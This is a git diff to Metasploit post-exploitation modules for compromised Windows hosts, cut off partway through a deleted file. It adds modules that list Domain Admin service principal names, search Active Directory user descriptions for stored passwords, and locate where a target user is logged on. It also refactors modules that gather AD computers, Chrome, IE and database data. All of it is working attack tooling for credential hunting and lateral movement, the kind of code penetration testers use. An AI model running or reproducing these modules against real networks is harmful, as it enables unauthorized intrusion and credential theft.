diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb
index 163c6b6c69..490aa9407d 100644
--- a/modules/post/windows/gather/enum_ad_computers.rb
+++ b/modules/post/windows/gather/enum_ad_computers.rb
@@ -10,14 +10,15 @@ require 'msf/core/auxiliary/report'
 class Metasploit3 < Msf::Post
 
   include Msf::Auxiliary::Report
+  include Msf::Post::Windows::LDAP
 
   def initialize(info={})
     super( update_info( info,
-        'Name'         => 'Windows Gather AD Enumerate Computers',
-        'Description'  => %q{
+        'Name'	       => 'Windows Gather Active Directory Computers',
+        'Description'  => %Q{
             This module will enumerate computers in the default AD directory.
 
-            Optional Attributes:
+            Optional Attributes to use in ATTRIBS:
             objectClass, cn, description, distinguishedName, instanceType, whenCreated,
             whenChanged, uSNCreated, uSNChanged, name, objectGUID,
             userAccountControl, badPwdCount, codePage, countryCode,
@@ -28,199 +29,124 @@ class Metasploit3 < Msf::Post
             dNSHostName, rIDSetPreferences, servicePrincipalName, objectCategory,
             netbootSCPBL, isCriticalSystemObject, frsComputerReferenceBL,
             lastLogonTimestamp, msDS-SupportedEncryptionTypes
+
+            ActiveDirectory has a MAX_SEARCH limit of 1000 by default. Split search up
+            if you hit that limit.
+
+            Possible filters:
+            (objectClass=computer) # All Computers
+            (primaryGroupID=516)  # All Domain Controllers
+            (&(objectCategory=computer)(operatingSystem=*server*)) # All Servers
         },
         'License'      => MSF_LICENSE,
-        'Author'       => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
+        'Author'       => [ 'Ben Campbell' ],
         'Platform'     => [ 'win' ],
-        'SessionTypes' => [ 'meterpreter' ]
+        'SessionTypes' => [ 'meterpreter' ],
+        'References'	=>
+        [
+          ['URL', 'http://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx'],
+        ]
       ))
 
     register_options([
-      OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 20]),
-      OptBool.new('STORE', [true, 'Store file in loot.', false]),
-      OptString.new('ATTRIBS', [true, 'Attributes to retrieve.', 'dNSHostName,distinguishedName,description,operatingSystem'])
+      OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
+      OptBool.new('STORE_DB', [true, 'Store file in DB (performance hit resolving IPs).', false]),
+      OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'dNSHostName,distinguishedName,description,operatingSystem,operatingSystemServicePack']),
+      OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=computer)(operatingSystem=*server*))'])
     ], self.class)
   end
 
-  def read_value(addr)
-    val_size = client.railgun.memread(addr-4,4).unpack('V*')[0]
-    value = client.railgun.memread(addr, val_size)
-    return value.strip
-  end
-
   def run
-    print_status("Connecting to default LDAP server")
-    session_handle = bind_default_ldap_server
+    fields = datastore['FIELDS'].gsub(/\s+/,"").split(',')
+    search_filter = datastore['FILTER']
+    max_search = datastore['MAX_SEARCH']
+    q = query(search_filter, max_search, fields)
 
-    return false unless session_handle
-
-    print_status("Querying default naming context")
-
-    query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])
-    first_entry_attributes = query_result[0]['attributes']
-    defaultNamingContext = first_entry_attributes[0]['values'] # Value from First Attribute of First Entry
-
-    print_status("Default Naming Context #{defaultNamingContext}")
-
-    attributes = datastore['ATTRIBS'].split(',')
-
-    print_status("Querying computer objects - Please wait...")
-    results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes)
-
-    print_status("Unbinding from LDAP service.")
-    wldap32.ldap_unbind(session_handle)
+    return if q.nil? or q[:results].empty?
 
+    # Results table holds raw string data
     results_table = Rex::Ui::Text::Table.new(
-        'Header'     => 'AD Computers',
+        'Header'     => "Domain Computers",
         'Indent'     => 1,
         'SortIndex'  => -1,
-        'Columns'    => attributes
+        'Columns'    => fields
       )
 
-    results.each do |result|
+    # Hostnames holds DNS Names to Resolve
+    hostnames = []
+    # Reports are collections for easy database insertion
+    reports = []
+    q[:results].each do |result|
       row = []
 
-      result['attributes'].each do |attr|
-        if attr['values'].nil?
-          row << ""
+      report = {}
+      0.upto(fields.length-1) do |i|
+        if result[i].nil?
+          field = ""
         else
-          row << attr['values']
+          field = result[i]
+
+          # Only perform these actions if the database is connected and we want
+          # to store in the DB.
+          if db and datastore['STORE_DB']
+            case fields[i]
+            when 'dNSHostName'
+              dns = field
+              report[:name] = dns
+              hostnames << dns
+            when 'operatingSystem'
+              os = field
+              index = os.index(/windows/i)
+              if index
+                name = 'Microsoft Windows'
+                flavour = os[index..-1]
+                report[:os_name] = name
+                report[:os_flavor] = flavour
+              else
+                # Incase there are non-windows domain computers?!
+                report[:os_name] = os
+              end
+            when 'distinguishedName'
+              if field =~ /Domain Controllers/i
+                report[:purpose] = "DC"
+              end
+            when 'operatingSystemServicePack'
+              report[:os_sp] = field
+            when 'description'
+              report[:info] = field
+            end
+          end
         end
+
+        row << field
       end
 
+      reports << report
       results_table << row
+    end
 
+    if db and datastore['STORE_DB']
+      print_status("Resolving IP addresses...")
+      ip_results = client.net.resolve.resolve_hosts(hostnames, AF_INET)
+
+      # Merge resolved array with reports
+      reports.each do |report|
+        ip_results.each do |ip_result|
+          if ip_result[:hostname] == report[:name]
+            report[:host] = ip_result[:ip]
+            vprint_good("Database report: #{report.inspect}")
+            report_host(report)
+          end
+        end
+      end
     end
 
     print_line results_table.to_s
-    if datastore['STORE']
+    if datastore['STORE_LOOT']
       stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv)
       print_status("Results saved to: #{stored_path}")
     end
   end
 
-  def wldap32
-    return client.railgun.wldap32
-  end
-
-  def bind_default_ldap_server
-    vprint_status ("Initializing LDAP connection.")
-    session_handle = wldap32.ldap_sslinitA("\x00\x00\x00\x00", 389, 0)['return']
-    vprint_status("LDAP Handle: #{session_handle}")
-
-    if session_handle == 0
-      print_error("Unable to connect to LDAP server")
-      wldap32.ldap_unbind(session_handle)
-      return false
-    end
-
-    vprint_status ("Binding to LDAP server.")
-    bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE 0x0486
-
-    if bind != 0
-      print_error("Unable to bind to LDAP server")
-      wldap32.ldap_unbind(session_handle)
-      return false
-    end
-
-    return session_handle
-  end
-
-  def query_ldap(session_handle, base, scope, filter, attributes)
-    vprint_status ("Searching LDAP directory.")
-    search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4)
-    vprint_status("search: #{search}")
-
-    if search['return'] != 0
-      print_error("No results")
-      wldap32.ldap_msgfree(search['res'])
-      return
-    end
-
-    search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return']
-
-    if(search_count == 0)
-      print_error("No entries retrieved")
-      wldap32.ldap_msgfree(search['res'])
-      return
-    end
-
-    print_status("Entries retrieved: #{search_count}")
-
-    vprint_status("Retrieving results...")
-
-    entries = {}
-    entry_results = []
-
-    if datastore['MAX_SEARCH'] == 0
-      max_search = search_count
-    else
-      max_search = [datastore['MAX_SEARCH'], search_count].min
-    end
-
-    0.upto(max_search - 1) do |i|
-      print '.'
-
-      if(i==0)
-        entries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return']
-      else
-        entries[i] = wldap32.ldap_next_entry(session_handle, entries[i-1])['return']
-      end
-
-      if(entries[i] == 0)
-        print_error("Failed to get entry.")
-        wldap32.ldap_unbind(session_handle)
-        wldap32.ldap_msgfree(search['res'])
-        return
-      end
-
-      vprint_status("Entry #{i}: #{entries[i]}")
-
-      attribute_results = []
-      attributes.each do |attr|
-        vprint_status("Attr: #{attr}")
-
-        pp_value = wldap32.ldap_get_values(session_handle, entries[i], attr)['return']
-        vprint_status("ppValue: 0x#{pp_value.to_s(16)}")
-
-        if pp_value == 0
-          vprint_error("No attribute value returned.")
-        else
-          count = wldap32.ldap_count_values(pp_value)['return']
-          vprint_status "Value count: #{count}"
-
-          value_results = []
-          if count < 1
-            vprint_error("Bad Value List")
-          else
-            0.upto(count - 1) do |j|
-              p_value = client.railgun.memread(pp_value+(j*4), 4).unpack('V*')[0]
-              vprint_status "p_value: 0x#{p_value.to_s(16)}"
-              value = read_value(p_value)
-              vprint_status "Value: #{value}"
-              if value.nil?
-                value_results << ""
-              else
-                value_results << value
-              end
-            end
-            value_results = value_results.join('|')
-          end
-        end
-
-        if pp_value != 0
-          vprint_status("Free value memory.")
-          wldap32.ldap_value_free(pp_value)
-          # wldap32.ldap_memfree(attr) No need to free attributes as these are hardcoded
-        end
-
-        attribute_results << {"name" => attr, "values" => value_results}
-      end
-
-      entry_results << {"id" => i, "attributes" => attribute_results}
-    end
-
-    print_line
-    return entry_results
-  end
 end
+
diff --git a/modules/post/windows/gather/enum_ad_service_principal_names.rb b/modules/post/windows/gather/enum_ad_service_principal_names.rb
new file mode 100644
index 0000000000..f49bbde8f2
--- /dev/null
+++ b/modules/post/windows/gather/enum_ad_service_principal_names.rb
@@ -0,0 +1,129 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'rex'
+require 'msf/core'
+require 'msf/core/auxiliary/report'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Auxiliary::Report
+  include Msf::Post::Windows::LDAP
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'         => 'Windows Gather Active Directory Service Principal Names',
+      'Description'  => %Q{
+        This module will enumerate servicePrincipalName in the default AD directory
+        where the user is a member of the Domain Admins group.
+      },
+      'License'      => MSF_LICENSE,
+      'Author'       =>
+        [
+          'Ben Campbell', #Metasploit Module
+          'Scott Sutherland' #Original Powershell Code
+        ],
+      'Platform'     => [ 'win' ],
+      'SessionTypes' => [ 'meterpreter' ],
+      'References'   =>
+        [
+          ['URL', 'https://www.netspi.com/blog/entryid/214/faster-domain-escalation-using-ldap'],
+        ]
+    ))
+
+    register_options([
+      OptString.new('FILTER', [true, 'Search filter, DOM_REPL will be automatically replaced', '(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DOM_REPL))'])
+    ], self.class)
+
+    deregister_options('FIELDS')
+  end
+
+  def run
+    domain ||= datastore['DOMAIN']
+    domain ||= get_domain
+
+    fields = ['cn','servicePrincipalName']
+
+    search_filter = datastore['FILTER']
+    max_search = datastore['MAX_SEARCH']
+
+    # This needs checking against LDAP improvements PR.
+    dn = get_default_naming_context(domain)
+
+    if dn.blank?
+      fail_with(Failure::Unknown, "Unable to retrieve the Default Naming Context")
+    end
+
+    search_filter.gsub!('DOM_REPL',dn)
+
+    begin
+      q = query(search_filter, max_search, fields, domain)
+    rescue RuntimeError => e
+      # Raised when the default naming context isn't specified as distinguished name
+      print_error(e.message)
+      return
+    end
+
+    if q.nil? or q[:results].empty?
+      return
+    end
+
+    fields << "Service"
+    fields << "Host"
+
+    # Results table holds raw string data
+    results_table = Rex::Ui::Text::Table.new(
+      'Header'     => "Service Principal Names",
+      'Indent'     => 1,
+      'SortIndex'  => -1,
+      'Columns'    => ['cn', 'Service', 'Host']
+    )
+
+    q[:results].each do |result|
+      rows = parse_result(result, fields)
+      unless rows.nil?
+        rows.each do |row|
+          results_table << row
+        end
+      end
+    end
+
+    print_line results_table.to_s
+    stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv)
+    print_status("Results saved to: #{stored_path}")
+  end
+
+  def parse_result(result, fields)
+    rows = []
+    row = []
+
+    0.upto(fields.length-1) do |i|
+      field = (result[i].nil? ? "" : result[i])
+
+      if fields[i] == 'servicePrincipalName'
+        break if field.blank?
+        spns = field.split(',')
+        spns.each do |spn|
+          new_row = row.dup
+          split = spn.split('/')
+          if split.length == 2
+            new_row << split[0]
+            new_row << split[1]
+            rows << new_row
+          else
+            print_error("Invalid SPN: #{field}")
+          end
+        end
+      else
+        row << field
+      end
+
+    end
+
+    rows
+  end
+
+end
+
diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb
new file mode 100644
index 0000000000..51010c7370
--- /dev/null
+++ b/modules/post/windows/gather/enum_ad_user_comments.rb
@@ -0,0 +1,87 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'rex'
+require 'msf/core'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Auxiliary::Report
+  include Msf::Post::Windows::LDAP
+
+  def initialize(info={})
+    super( update_info( info,
+        'Name'	       => 'Windows Gather Active Directory User Comments',
+        'Description'  => %Q{
+          This module will enumerate user accounts in the default Active Domain (AD) directory which
+        contain 'pass' in their description or comment (case-insensitive) by default. In some cases,
+        such users have their passwords specified in these fields.
+        },
+        'License'      => MSF_LICENSE,
+        'Author'       => [ 'Ben Campbell' ],
+        'Platform'     => [ 'win' ],
+        'SessionTypes' => [ 'meterpreter' ],
+        'References'	=>
+        [
+          ['URL', 'http://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx'],
+        ]
+      ))
+
+    register_options([
+      OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
+      OptString.new('FIELDS', [true, 'Fields to retrieve.','sAMAccountName,userAccountControl,comment,description']),
+      OptString.new('FILTER', [true, 'Search filter.','(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']),
+    ], self.class)
+  end
+
+  def run
+    fields = datastore['FIELDS'].gsub(/\s+/,"").split(',')
+    search_filter = datastore['FILTER']
+    max_search = datastore['MAX_SEARCH']
+
+    begin
+      q = query(search_filter, max_search, fields)
+      if q.nil? or q[:results].empty?
+        return
+      end
+    rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
+      # Can't bind or in a network w/ limited accounts
+      print_error(e.message)
+      return
+    end
+
+    # Results table holds raw string data
+    results_table = Rex::Ui::Text::Table.new(
+        'Header'     => "Domain Users",
+        'Indent'     => 1,
+        'SortIndex'  => -1,
+        'Columns'    => fields
+      )
+
+    q[:results].each do |result|
+      row = []
+
+      report = {}
+      result.each do |field|
+        if field.nil?
+          row << ""
+        else
+          row << field
+        end
+      end
+
+      results_table << row
+    end
+
+    print_line results_table.to_s
+
+    if datastore['STORE_LOOT']
+      stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)
+      print_status("Results saved to: #{stored_path}")
+    end
+  end
+
+end
+
diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb
index 06ee91d28f..ef990c7abc 100644
--- a/modules/post/windows/gather/enum_chrome.rb
+++ b/modules/post/windows/gather/enum_chrome.rb
@@ -285,7 +285,8 @@ class Metasploit3 < Msf::Post
     host = session.session_host
 
     #Get Google Chrome user data path
-    sysdrive = expand_path("%SYSTEMDRIVE%").strip
+    env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
+    sysdrive = env_vars['SYSTEMDRIVE'].strip
     if directory?("#{sysdrive}\\Users")
       @profiles_path = "#{sysdrive}/Users"
       @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
@@ -310,7 +311,7 @@ class Metasploit3 < Msf::Post
     else
       uid = session.sys.config.getuid
       print_status "Running as user '#{uid}'..."
-      usernames << expand_path("%USERNAME%").strip
+      usernames << env_vars['USERNAME'].strip
     end
 
     has_sqlite3 = true
diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb
index 5c85a33191..47c5fbd14f 100644
--- a/modules/post/windows/gather/enum_computers.rb
+++ b/modules/post/windows/gather/enum_computers.rb
@@ -37,32 +37,12 @@ class Metasploit3 < Msf::Post
   end
 
   def gethost(hostname)
-    hostip = nil
-    if client.platform =~ /^x64/
-      size = 64
-      addrinfoinmem = 32
-    else
-      size = 32
-      addrinfoinmem = 24
-    end
-
     ## get IP for host
-    begin
-      vprint_status("Looking up IP for #{hostname}")
-      result = client.railgun.ws2_32.getaddrinfo(hostname, nil, nil, 4 )
-      if result['GetLastError'] == 11001
-        return nil
-      end
-      addrinfo = client.railgun.memread( result['ppResult'], size )
-      ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
-      sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
-      ip = sockaddr[4,4].unpack('N').first
-      hostip = Rex::Socket.addr_itoa(ip)
-    rescue ::Exception => e
-      print_error(e)
-    end
+    vprint_status("Looking up IP for #{hostname}")
+    result = client.net.resolve.resolve_host(hostname)
 
-    return hostip
+    return nil if result[:ip].nil? or result[:ip].blank?
+    return result[:ip]
   end
 
   # List Members of a domain group
diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb
index 8160a19af3..ae291ca0e8 100644
--- a/modules/post/windows/gather/enum_db.rb
+++ b/modules/post/windows/gather/enum_db.rb
@@ -292,7 +292,7 @@ class Metasploit3 < Msf::Post
       return results
     end
 
-    windir = session.fs.file.expand_path("%windir%")
+    windir = session.sys.config.getenv('windir')
     getfile = session.fs.file.search(windir + "\\system32\\drivers\\etc\\","services.*",recurse=true,timeout=-1)
 
     data = nil
@@ -332,7 +332,7 @@ class Metasploit3 < Msf::Post
     elsif exist?(val_location + "\\my.cnf")
       data = read_file(val_location + "\\my.cnf")
     else
-      sysdriv=session.fs.file.expand_path("%SYSTEMDRIVE%")
+      sysdriv=session.sys.config.getenv('SYSTEMDRIVE')
       getfile = session.fs.file.search(sysdriv + "\\","my.ini",recurse=true,timeout=-1)
       getfile.each do |file|
         if exist?("#{file['path']}\\#{file['name']}")
diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb
index 5819b932fb..37e00c8e31 100644
--- a/modules/post/windows/gather/enum_dirperms.rb
+++ b/modules/post/windows/gather/enum_dirperms.rb
@@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post
       'Author'         =>
         [
           'Kx499',
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
+          'Ben Campbell',
           'sinn3r'
         ]
     ))
diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb
index 00d1820c49..eb253e26cf 100644
--- a/modules/post/windows/gather/enum_domain.rb
+++ b/modules/post/windows/gather/enum_domain.rb
@@ -47,32 +47,15 @@ class Metasploit3 < Msf::Post
     return domain
   end
 
-  def gethost(hostname)
-    hostip = nil
-    if client.platform =~ /^x64/
-      size = 64
-      addrinfoinmem = 32
-    else
-      size = 32
-      addrinfoinmem = 24
-    end
+  def gethost(hostorip)
+    #check for valid ip and return if it is
+    return hostorip if Rex::Socket.dotted_ip?(hostorip)
 
     ## get IP for host
-    begin
-      vprint_status("Looking up IP for #{hostname}")
-      result = client.railgun.ws2_32.getaddrinfo(hostname, nil, nil, 4 )
-      if result['GetLastError'] == 11001
-        return nil
-      end
-      addrinfo = client.railgun.memread( result['ppResult'], size )
-      ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
-      sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
-      ip = sockaddr[4,4].unpack('N').first
-      hostip = Rex::Socket.addr_itoa(ip)
-    rescue ::Exception => e
-      print_error(e)
-    end
-    return hostip
+    vprint_status("Looking up IP for #{hostorip}")
+    result = client.net.resolve.resolve_host(hostorip)
+    return result[:ip] if result[:ip]
+    return nil if result[:ip].nil? or result[:ip].empty?
   end
 
   def run
diff --git a/modules/post/windows/gather/enum_domain_users.rb b/modules/post/windows/gather/enum_domain_users.rb
new file mode 100644
index 0000000000..2ebfbb3208
--- /dev/null
+++ b/modules/post/windows/gather/enum_domain_users.rb
@@ -0,0 +1,92 @@
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/windows/registry'
+require 'msf/core/post/windows/netapi'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Post::Common
+  include Msf::Post::Windows::Registry
+  include Msf::Post::Windows::NetAPI
+  include Msf::Post::Windows::Accounts
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'	       => 'Windows Gather Enumerate Active Domain Users',
+      'Description'  => %q{
+          This module will enumerate computers included in the primary Domain and attempt
+          to list all locations the targeted user has sessions on. If a the HOST option is specified
+          the module will target only that host. If the HOST is specified and USER is set to nil, all users
+          logged into that host will be returned.'
+        },
+        'License'      => MSF_LICENSE,
+        'Author'       => [
+          'Etienne Stalmans <etienne[at]sensepost.com>',
+          'Ben Campbell'
+        ],
+        'Platform'     => [ 'win' ],
+        'SessionTypes' => [ 'meterpreter' ]
+    ))
+    register_options(
+      [
+        OptString.new('USER', [false, 'Target User for NetSessionEnum']),
+        OptString.new('HOST', [false, 'Target a specific host']),
+      ], self.class)
+  end
+
+  def run
+    sessions = []
+    user = datastore['USER']
+    host = datastore['HOST']
+
+    if host
+      if user
+        print_status("Attempting to identify #{user} on #{host}...")
+      else
+        print_status("Attempting to get all logged in users on #{host}...")
+      end
+      sessions = net_session_enum(host, user)
+    elsif user
+      # Domain must be NETBIOS style rather than DNS style
+      domain = get_domain
+
+      if domain.blank?
+        fail_with(Failure::Unknown, "Machine is not part of a domain.")
+      else
+        domain = domain.split('.').first.upcase
+        print_status("Using domain: #{domain}")
+        print_status("Getting list of domain hosts...")
+      end
+
+      hosts = net_server_enum(SV_TYPE_ALL, domain)
+
+      if hosts
+        len = hosts.count
+        print_status("#{len} host(s) found")
+
+        hosts.each do |host|
+          sessions << net_session_enum(host[:name], user)
+        end
+      end
+
+      sessions.flatten!
+    else
+      fail_with(Failure::BadConfig, "Invalid options, either HOST or USER must be specified.")
+    end
+
+    if sessions.nil? or sessions.count == 0
+      fail_with(Failure::Unknown, "No sessions found")
+    else
+      print_status("#{sessions.count} session(s) identified")
+
+      sessions.each do |s|
+        if s
+          print_good("#{s[:username]} logged in at #{s[:hostname]} and has been idle for #{s[:idletime]} seconds")
+        end
+      end
+    end
+  end
+
+end
+
diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb
index 505b6d385e..7d7910cd55 100644
--- a/modules/post/windows/gather/enum_domains.rb
+++ b/modules/post/windows/gather/enum_domains.rb
@@ -5,9 +5,12 @@
 
 require 'msf/core'
 require 'rex'
+require 'msf/core/post/windows/netapi'
 
 class Metasploit3 < Msf::Post
 
+  include Msf::Post::Windows::NetAPI
+
   def initialize(info={})
     super( update_info( info,
       'Name'          => 'Windows Gather Domain Enumeration',
@@ -23,69 +26,27 @@ class Metasploit3 < Msf::Post
   end
 
   def run
+    domains = net_server_enum(SV_TYPE_DOMAIN_ENUM)
 
-    domain_enum = 2147483648 # SV_TYPE_DOMAIN_ENUM =  hex 80000000
-    buffersize = 500
-    result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
-    print_status("Finding the right buffersize...")
-    while result['return'] == 234
-      print_status("Tested #{buffersize}, got #{result['entriesread']} of #{result['totalentries']}")
-      buffersize = buffersize + 500
-      result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
-    end
+    domains.each do |domain|
+      print_status("Enumerating DCs for #{domain[:name]}")
+      dcs = net_server_enum(SV_TYPE_DOMAIN_BAKCTRL | SV_TYPE_DOMAIN_CTRL, domain[:name])
 
-    count = result['totalentries']
-    print_status("#{count} domain(s) found.")
-    startmem = result['bufptr']
-
-    base = 0
-    domains = []
-    mem = client.railgun.memread(startmem, 8*count)
-    count.times{|i|
-        x = {}
-        x[:platform] = mem[(base + 0),4].unpack("V*")[0]
-        nameptr = mem[(base + 4),4].unpack("V*")[0]
-        x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
-        domains << x
-        base = base + 8
-      }
-
-    domaincontrollers = 24  # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
-
-    domains.each do |x|
-      print_status("Enumerating DCs for #{x[:domain]}")
-      result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,x[:domain],nil)
-      while result['return'] == 234
-        buffersize = buffersize + 500
-        result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,x[:domain],nil)
-      end
-      if result['totalentries'] == 0
+      if dcs.count == 0
         print_error("No Domain Controllers found...")
         next
       end
 
-      count = result['totalentries']
-      startmem = result['bufptr']
-
-      base = 0
-      x[:dc] = []
-      mem = client.railgun.memread(startmem, 8*count)
-      count.times{|i|
-        t = {}
-        t[:platform] = mem[(base + 0),4].unpack("V*")[0]
-        nameptr = mem[(base + 4),4].unpack("V*")[0]
-        t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
-        x[:dc] << t
-        base = base + 8
-        print_status(t[:dc_hostname])
+      dcs.each do |dc|
+        print_good("Domain Controller: #{dc[:name]}")
 
         report_note(
           :host   => session,
           :type   => 'domain.hostnames',
-          :data   => t[:dc_hostname],
+          :data   => dc[:name],
           :update => :unique_data
         )
-      }
+      end
     end
   end
 end
diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb
index 60c6c3a20e..3079bc053a 100644
--- a/modules/post/windows/gather/enum_files.rb
+++ b/modules/post/windows/gather/enum_files.rb
@@ -55,7 +55,7 @@ class Metasploit3 < Msf::Post
 
 
   def download_files(location, file_type)
-    sysdriv = client.fs.file.expand_path("%SYSTEMDRIVE%")
+    sysdriv = client.sys.config.getenv('SYSTEMDRIVE')
     sysnfo = client.sys.config.sysinfo['OS']
     profile_path_old = sysdriv + "\\Documents and Settings\\"
     profile_path_new = sysdriv + "\\Users\\"
diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb
index 09e06862e0..5711bcc5fd 100644
--- a/modules/post/windows/gather/enum_ie.rb
+++ b/modules/post/windows/gather/enum_ie.rb
@@ -257,7 +257,7 @@ class Metasploit3 < Msf::Post
     xp_c = "\\Cookies\\index.dat"
     h_paths = []
     c_paths = []
-    base = session.fs.file.expand_path("%USERPROFILE%")
+    base = session.sys.config.getenv('USERPROFILE')
     if host['OS'] =~ /(Windows 7|2008|Vista)/
       h_paths << base + vist_h
       h_paths << base + vist_hlow
diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb
index 1107e15974..32a69e0faa 100644
--- a/modules/post/windows/gather/enum_powershell_env.rb
+++ b/modules/post/windows/gather/enum_powershell_env.rb
@@ -28,7 +28,8 @@ class Metasploit3 < Msf::Post
     users = []
     user = session.sys.config.getuid
     path4users = ""
-    sysdrv = session.fs.file.expand_path("%SystemDrive%")
+    env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
+    sysdrv = env_vars['SystemDrive']
 
     if os =~ /Windows 7|Vista|2008/
       path4users = sysdrv + "\\Users\\"
@@ -49,7 +50,7 @@ class Metasploit3 < Msf::Post
       end
     else
       userinfo = {}
-      uservar = session.fs.file.expand_path("%USERNAME%")
+      uservar = env_vars['USERNAME']
       userinfo['username'] = uservar
       userinfo['userappdata'] = path4users + uservar + profilepath
       users << userinfo
@@ -89,7 +90,7 @@ class Metasploit3 < Msf::Post
       end
       if powershell_version =~ /2./
         print_status("Powershell Modules:")
-        powershell_module_path = session.fs.file.expand_path("%PSModulePath%")
+        powershell_module_path = session.sys.config.getenv('PSModulePath')
         session.fs.dir.foreach(powershell_module_path) do |m|
           next if m =~ /^(\.|\.\.)$/
           print_status("\t#{m}")
diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb
index 81ca4376a6..c513be790e 100644
--- a/modules/post/windows/gather/enum_prefetch.rb
+++ b/modules/post/windows/gather/enum_prefetch.rb
@@ -183,7 +183,7 @@ class Metasploit3 < Msf::Post
     print_prefetch_key_value
     print_timezone_key_values(key_value)
     print_good("Current UTC Time: %s" % Time.now.utc)
-    sys_root = expand_path("%SYSTEMROOT%")
+    sys_root = session.sys.config.getenv('SYSTEMROOT')
     full_path = sys_root + "\\Prefetch\\"
     file_type = "*.pf"
     print_status("Gathering information from remote system. This will take awhile..")
diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb
index 66a4f04aae..647fa934dc 100644
--- a/modules/post/windows/gather/enum_unattend.rb
+++ b/modules/post/windows/gather/enum_unattend.rb
@@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post
         [
           'Sean Verity <veritysr1980[at]gmail.com>',
           'sinn3r',
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
+          'Ben Campbell'
         ],
       'References'    =>
         [
@@ -115,7 +115,7 @@ class Metasploit3 < Msf::Post
   # Initialize all 7 possible paths for the answer file
   #
   def init_paths
-    drive = session.fs.file.expand_path("%SystemDrive%")
+    drive = session.sys.config.getenv('SystemDrive')
 
     files =
       [
diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb
deleted file mode 100644
index 2af8233154..0000000000
--- a/modules/post/windows/gather/resolve_hosts.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-##
-# This module requires Metasploit: http//metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-require 'rex'
-
-class Metasploit3 < Msf::Post
-
-  require 'msf/core/module/deprecated'
-  include Msf::Module::Deprecated
-  deprecated Date.new(2013, 12, 9), 'post/multi/gather/resolve_hosts'
-
-  def initialize(info={})
-    super( update_info( info,
-      'Name'          => 'Windows Resolve Hosts',
-      'Description'   => %q{
-        Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host.
-      },
-      'License'       => MSF_LICENSE,
-      'Author'        => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
-      'Platform'      => [ 'win' ],
